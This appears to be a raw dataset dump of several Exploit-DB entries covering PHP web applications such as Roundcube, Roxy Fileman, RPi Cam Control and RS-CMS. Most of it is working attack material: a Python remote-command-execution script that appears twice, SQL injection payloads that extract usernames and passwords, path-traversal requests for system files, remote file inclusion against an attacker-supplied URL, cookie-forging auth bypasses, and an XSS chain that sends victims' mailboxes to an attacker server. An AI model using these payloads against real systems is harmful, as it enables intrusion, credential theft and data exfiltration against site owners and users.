deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52173
Description: Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-04-11
Author: AmirZargham

Exploit:
# Exploit Title:  Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS)
# Google Dork:
# Exploit Author: AmirZargham
# Vendor Homepage:   Roundcube - Free and Open Source Webmail Software
# Software Link:     Releases · roundcube/roundcubemail
# Version: Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6.    
# Tested on: firefox,chrome
# CVE:  CVE-2024-37383
# CWE: CWE-79 
# Platform: MULTIPLE
# Type: WebApps


Description:


The CVE-2024-37383 vulnerability was discovered in the Roundcube Webmail email client. This is a stored XSS vulnerability that allows an attacker to execute JavaScript code on the user's page. To exploit the vulnerability, all attackers need to do is open a malicious email using a Roundcube client version earlier than 1.5.6 or from 1.6 to 1.6.6. 


Usage Info:1 - open the Roundcube_mail_server_exploit_for_CVE-2024-37383.txt and export js file.2 - Change the web address of the original email (target) and the URL of the receiving server (attacker server).3 - You can put the code in file SVG <animate> tag and send it to the server. (can use this https://github.com/bartfroklage/CVE-2024-37383-POC)4 - After the victim clicks, all emails in the mailbox will be sent to your collaborator server.


This code automates the process of retrieving all messages inbox from a Roundcube webmail server and forwarding that data to a specific collaborator server  endpoint.Here’s a step-by-step breakdown:
-
Setup URLs:

- The main webmail URL (target) and the receiving server URL (attackerserver) are defined as variables at the beginning for easy configuration.

-
Get Total Page Count:

- The getPageCount function sends a GET request to the main webmail URL to fetch metadata, including the total number of pages (pagecount).
- If pagecount is found, it proceeds to loop through each page.

-
Fetch Message IDs from All Pages:

- For each page from 1 to pagecount, it constructs a paginated URL to request that page.
- Each page’s response is checked for instances of add_message_row(NUMBER) using regex, extracting message IDs from each instance and collecting all IDs in a single list.

-
Retrieve Each Message's Content:

- For each message ID, the code constructs a URL to request detailed data about that message.
- It sends a GET request for each message ID URL, receiving the full response HTML.

-
Extract and Clean Message Data:

- Within each message response, it uses regex to capture the <title> (message title) and main message content.
- Any HTML tags are stripped from the message content to keep only the plain text.

-
Send the Data to the Server:

- For each extracted message, a POST request is made to the server endpoint with the title and cleaned message content, URL-encoded for proper transmission.
Exploit-DB #39963
Description: Roxy Fileman 1.4.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2016-06-16
Author: Tyrell Sassen

Exploit:
# Exploit Title: Roxy Fileman <= 1.4.4 Forbidden File Upload Vulnerability
# Google Dork: intitle:"Roxy file manager"
# Date: 15-06-2016
# Exploit Author: Tyrell Sassen
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.4-php
# Version: 1.4.4
# Tested on: PHP

1. Description

The Roxy File Manager has a configuration setting named FORBIDDEN_UPLOADS,
which keeps a list of forbidden file extensions that the application will
not allow to be uploaded. This configuration setting is also checked when
renaming an existing file to a new file extension.

It is possible to bypass this check and rename already uploaded files to
any extension, using the move function as this function does not perform
any checks.


2. Proof of Concept

http://host/fileman/php/movefile.php?f=/Upload/backdoor.jpg&n=/Upload/backdoor.php


The renamed file will now be accessible at http://host/Upload/backdoor.php
Exploit-DB #46172
Description: Roxy Fileman 1.4.5 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2019-01-16
Author: Ihsan Sencan

Exploit:
# Exploit Title: Roxy Fileman 1.4.5 - Arbitrary File Download
# Dork: N/A
# Date: 2019-01-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.roxyfileman.com/
# Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-php
# Version: 1.4.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/fileman/php/download.php?f=/[PATH]/fileman/Uploads/[FILE]
# 

GET /[PATH]/fileman/php/download.php?f=%2FExploitDb%2FRoxyFileman-1.4.5-php%2Ffileman%2FUploads%2F%2F%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2lj2q69rvodstr9g2c9ki3k3j6; GeniXCMS-Installation=rsb95ndeo38fi0qo5376ku0o74; GeniXCMS-uxTCOmgGby9cYrSEFhS2=iuac7ooh77hghvbq7afkn0kl13; roxyld=%2FExploitDb%2FRoxyFileman-1.4.5-php%2Ffileman%2FUploads; roxyview=list
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 15 Jan 2019 22:19:32 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Disposition: attachment; filename="win.ini"
Content-Length: 564
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: application/force-download
Exploit-DB #50934
Description: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2022-05-12
Author: Eren Gozaydin

Exploit:
# Exploit Title: Royal Event Management System 1.0 - 'todate' SQL Injection (Authenticated)
# Date: 2022-26-03
# Exploit Author: Eren Gozaydin
# Vendor Homepage: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip
# Version: 1.0
# Tested on: Windows 10 Pro + PHP 8.0.11, Apache 2.4.51
# CVE: CVE-2022-28080
# References: https://nvd.nist.gov/vuln/detail/CVE-2022-28080

------------------------------------------------------------------------------------

1. Description:
----------------------

Royal Event Management System 1.0 allows SQL Injection via parameter 'todate' in
/royal_event/btndates_report.php#?=  Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from the affected page with
'todate' parameter and save it like poc.txt. Then run SQLmap to extract the
data from the database:

sqlmap -r poc.txt --dbms=mysql


3. Example payload:
----------------------

(boolean-based)

-1%27+OR+1%3d1+OR+%27ns%27%3d%27ns 

4. Burpsuite request:
----------------------

POST /royal_event/btndates_report.php#?= HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 334
Content-Type: multipart/form-data; boundary=f289a6438bcc45179bcd3eb7ddc555d0
Cookie: PHPSESSID=qeoe141g7guakhacf152a3i380
Referer: http://localhost/royal_event/btndates_report.php#?=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36

--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="todate"

-1' OR 1=1 OR 'ns'='ns
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="search"

3
--f289a6438bcc45179bcd3eb7ddc555d0
Content-Disposition: form-data; name="fromdate"

01/01/2011
--f289a6438bcc45179bcd3eb7ddc555d0--
Exploit-DB #6589
Description: RPG.Board 0.0.8Beta2 - 'showtopic' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-26
Author: 0x90

Exploit:
    _____          ____   _____    ____   _____   __  __    _____   ____
   /  _  \ /\  /\ / _  \ /  _  \  / ___| /  _  \ /  \/  \  /  _  \ / _  |
   | | | | \ \/ / ||_| | | | | |  | |    | | | | | \__/ |  | |_| | ||_|_|
   | | | |  \  /  \__  | | | | |  | |    | | | | | |  | |  |  _  | |   \
   | |_| |  /  \   __| | | |_| |/\| |__  | |_| | | |  | |/\| | | | | |\ \
   \_____/ / /\ \ |____/ \_____/\/\____| \_____/ |_|  |_|\/|_| |_| |_| \_|
           \/  \/

[~] RPG.Board <= 0.0.8Beta2 Remote SQL Injection

[~] Author: 0x90

[~] HomePage: www.0x90.com.ar

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] Script: RPG.Board

[~] site: http://rpgmaster.de/viewtopic.php?f=25&t=69

[~] Vulnerability Class: SQL Injection



[~] Exploit:

Register, login and testing exploit..

http://host/index.php?subtopic&showtopic=-0x90+union+select+null,null,null,concat(user,0x3a,pw),null+from+[PREFIX]userlogin

# milw0rm.com [2008-09-26]
Exploit-DB #6591
Description: RPG.Board 0.0.8Beta2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-27
Author: Stack

Exploit:
###############################################################################################
[+] RPG.Board <= 0.0.8Beta2 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack             
[+] Greetz : All my freind            
################################################################################################
Exploit:
javascript:document.cookie = "keep4u=l5_ZrX8; path=/;";

# milw0rm.com [2008-09-27]
Exploit-DB #42638
Description: RPi Cam Control < 6.3.14 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-08-16
Author: Alexander Korznikov

Exploit:
#####
# Exploit Title: RPi Cam Control <= v6.3.14 (RCE) Multiple Vulnerabilities - preview.php
# Date: 16/08/2017
# Exploit Author: Alexander Korznikov
# Vendor Homepage: https://github.com/silvanmelchior/RPi_Cam_Web_Interface
# Software Link: https://github.com/silvanmelchior/RPi_Cam_Web_Interface
# Version: <= v6.3.14
# Date 16/08/2017
#
# A web interface for the RPi Cam
# Vendor github: https://github.com/silvanmelchior/RPi_Cam_Web_Interface
#
# Bug Discovered by Alexander Korznikov:
#     www.exploit-db.com/author/?a=8722
#     www.linkedin.com/in/nopernik
#     www.korznikov.com
#
# RPi Cam Control <= v6.3.14 is vulnerable to Local File Read and Blind Command Injection.
#
#
# Local File Read (get /etc/passwd file):
# ----------------
# POST /preview.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# Content-Length: 80
#
# download1=../../../../../../../../../../../../../../../../etc/passwd.v0000.t
#
#
# Blind Command Injection:
# ------------------
# POST /preview.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# Content-Length: 52
#
# convert=none&convertCmd=$(COMMAND_TO_EXECUTE)
#
#
# Blind Command Injection can be used with Local File Read to properly get the output of injected command.
#
# Proof of Concept Code:
#####

#!/usr/bin/python

import requests
import sys
if not len(sys.argv[2:]):
   print "Usage: RPi-Cam-Control-RCE.py 127.0.0.1 'cat /etc/passwd'"
   exit(1)

def GET(target, rfile):
   res = requests.post("http://%s/preview.php" % target,
        headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"},
        data={"download1": "../../../../../../../../../../../../../../../../{}.v0000.t".format(rfile)})
   return res.content

def RCE(target, command):
   requests.post("http://%s/preview.php" % target,
        headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"},
        data={"convert": "none", "convertCmd": "$(%s > /tmp/output.txt)" % command})
   return GET(target,'/tmp/output.txt')

target = sys.argv[1]
command = sys.argv[2]

print RCE(target,command)
Exploit-DB #42452
Description: RPi Cam Control < 6.3.14 - Remote Command Execution
Type: webapps
Platform: php
Date: 2017-08-14
Author: Alexander Korznikov

Exploit:
#####
# RPi Cam Control <= v6.3.14 (RCE) preview.php Multiple Vulnerabilities
#
# A web interface for the RPi Cam
# Vendor github: https://github.com/silvanmelchior/RPi_Cam_Web_Interface
#
# Date 16/08/2017
# Discovered by @nopernik (https://www.linkedin.com/in/nopernik)
#
# http://www.korznikov.com
#
# RPi Cam Control <= v6.3.14 is vulnerable to Local File Read and Blind Command Injection.
#
#
# Local File Read (get /etc/passwd file):
# ----------------
# POST /preview.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# Content-Length: 80
#
# download1=../../../../../../../../../../../../../../../../etc/passwd.v0000.t
#
#
# Blind Command Injection:
# ------------------
# POST /preview.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Connection: close
# Content-Length: 52
#
# convert=none&convertCmd=$(COMMAND_TO_EXECUTE)
#
#
# Blind Command Injection can be used with Local File Read to properly get the output of injected command.
#
# Proof of concept:
#####

#!/usr/bin/python

import requests
import sys
if not len(sys.argv[2:]):
   print "Usage: RPi-Cam-Control-RCE.py 127.0.0.1 'cat /etc/passwd'"
   exit(1)

def GET(target, rfile):
   res = requests.post("http://%s/preview.php" % target,
        headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"},
        data={"download1": "../../../../../../../../../../../../../../../../{}.v0000.t".format(rfile)})
   return res.content

def RCE(target, command):
   requests.post("http://%s/preview.php" % target,
        headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"},
        data={"convert": "none", "convertCmd": "$(%s > /tmp/output.txt)" % command})
   return GET(target,'/tmp/output.txt')

target = sys.argv[1]
command = sys.argv[2]

print RCE(target,command)
Exploit-DB #6648
Description: RPortal 1.1 - 'file_op' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-01
Author: Kad

Exploit:
#########################################################
#
# RPortal v1.1
#
#
# Rportal is a management system of contents simple and powerful Web,
# enabling you to create your site in a few minutes, while profiting
# from a complete and effective administration.
#
#
# Remote and Local File Inclusion Vulnerability <= 1.1
# Found the 29th September 2008

##########################################################
# Author: Kad
#
# mail : kadfrox [ a ] gmail [ dot ] com
#
##########################################################
#
# script : RPortal v 1.1
# http://www.rportal.org/?op=download&fid=36
#
##########################################################

[~] Exploit :


http://www.site.com/index.php?file_op=[url]

#
# Vulnerable code source :
#

if(!isset($file_op))$file_op='';

if($file_op!="")

{
    $op_basepath = trim(strrev(strstr(strrev($file_op),"/php/")));

    if($op_basepath!='') $op_basepath = str_replace("/php/", "/", $op_basepath);

    include($file_op);

}

# The problem is that the variable $file_op is not filtered
# Then, you can put the link that you want, like your own backdoor
# and execute commands.

# milw0rm.com [2008-10-01]
Exploit-DB #3185
Description: RPW 1.0.2 - 'config.php?sql_language' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-24
Author: 3l3ctric-Cracker

Exploit:
               _________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:RPW
Affected Version:1.0.2
Downlaoad&Victim:http://vlad.tepesch.free.fr/mods/rpw1.0.2.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (config.php)
Vul Code;
require($sql_language);
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/config.php?sql_language=shell.txt?&cmd=0wn3d By Dr 
Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24]
Exploit-DB #8433
Description: RQms (Rash) 1.2.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-04-14
Author: Dimi4

Exploit:
 ########################################
 #                                                                   
 # Product : RQMS                                          
 # Version : 1.2.2                                            
 # Dork : Rash Version: 1.2.1                           
 # Site: http://rqms.sourceforge.net                  
 # Found by: Dimi4                                         
 # Greetz: UASC (http://uasc.org.ua), antichat  
 #                                                                  
 ########################################
Multiple Remote Vulnerabilities

Need: magic_quotes_gpc = OFF
1)Auth BYPASS
http://127.0.0.1/rash-v1.2.2/?admin
Login: ' OR 1=1/*

2) Sql-injection
http://nocude.maisum.net/?admin
http://target/rash-v1.2.2/?news_edit&id=4'+union+select+1,concat_ws(0x3a,version(),user(),database()),3/*

3) Sql-inj in Search
http://target//rash-v1.2.2/?search
Search: ' union select database(),version(),user(),4,5,6/*

# (c) Dimi4, UASC (http://uasc.org.ua)

# milw0rm.com [2009-04-14]
Exploit-DB #9000
Description: RS-CMS 2.1 - 'key' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-22
Author: Mr.tro0oqy

Exploit:
=======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :RS-CMS 2.1 (rscms_mod_newsview.php key) Remote SQL Injection Vulnerability

[+] Found by : Mr.tro0oqy 
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
BUGS
====

Sql Injections:
rscms_mod_newsview.php?key=-4+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--

DEMO
====
http://www.rs-cms.com/rscms_mod_newsview.php?key=-4+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15+from+users--


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
all my Friends

# milw0rm.com [2009-06-22]
Exploit-DB #1959
Description: RsGallery2 < 1.11.2 - 'rsgallery.html.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-06-28
Author: marriottvn

Exploit:
RsGallery2 for Joomla
---------------------------------------------------------------------------

Discovered: marriottvn
Remote : Yes
Level : High

---------------------------------------------------------------------------
Affected software description :

Application : RsGallery2
version : latest version [ 1.11.2 ]
Description: component for joomla
URL: http://rsdev.nl

----------------------------------------------------------------------------

Vulnerable file :

rsgallery2.html.php

----------------------------------------------------------------------------

Exploit:

http://[sitepath]/[joomlapath]/components/com_rsgallery2/rsgallery.html.php?mosConfig_absolute_path=http://[attacker]

----------------------------------------------------------------------------

Fix:

1.Declare variabel $mosConfig_absolute_path

or

2.Add into the top function:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

----------------------------------------------------------------------------

Contact:

Nick: marriottvn
E-mail: i_love_lonely_girl[at]yahoo.com
Web: http://vnsecurity.com

Greetz to: VnRekcah

# milw0rm.com [2006-06-28]
Exploit-DB #7497
Description: RSMScript 1.21 - Cross-Site Scripting / Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-12-17
Author: Osirys

Exploit:
[START]

#########################################################################################
[0x01] Informations:

Script         : RSMScript 1.21
Download       : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability  : Insecure Cookie Handling / XXS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

#########################################################################################
[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/verify.php

[CODE]

if($admin_pass == $code)
{
  setcookie("verified", "null", time()+1800);
  header( 'refresh: 0; url=update.php' );
}

[/CODE]

As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the 
admin.

[!] FIX: A fix could be to put as a content or cookie name the password. Example:

[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";

#########################################################################################
[0x03] Bug: [XSS]
######

To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
There are two bugged file.

1) /[path/submit.php
   In this file, we can put arbitrary data into a .txt file.

   [CODE]

    $quote = $_REQUEST['quote'];
    $writePage = fopen('quotes.txt', 'a') or die("can't open file");
	fwrite($writePage, "\t");
    fwrite($writePage, stripslashes($quote));
    fclose($writePage);

   [/CODE]

   [!] FIX: Just filter direct user input.


2) /path/update.php
   This file gets quotes.txt content, and print it directly into html code. 
   In 1) we saw that we can put arbitrary data into this .txt file. Just
   Put js code ;)

   [CODE]

    $quotes = file_get_contents("quotes.txt");
    $quotes= preg_split("/[\t]+/", $quotes);
    $i = 0;
    $noQuotes = sizeOf($quotes);
    while ($i < $noQuotes)
    {
        $quote = $quotes[$i];
        echo '<option value='.$i.'>'.$quote.'</option>';
        $i = $i + 1;
    }

    [/CODE]

    [!] FIX: A fix could be just to filter input before being printed in html code.


## How to exploit this bugs?

[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>

#########################################################################################
[/END]

# milw0rm.com [2008-12-17]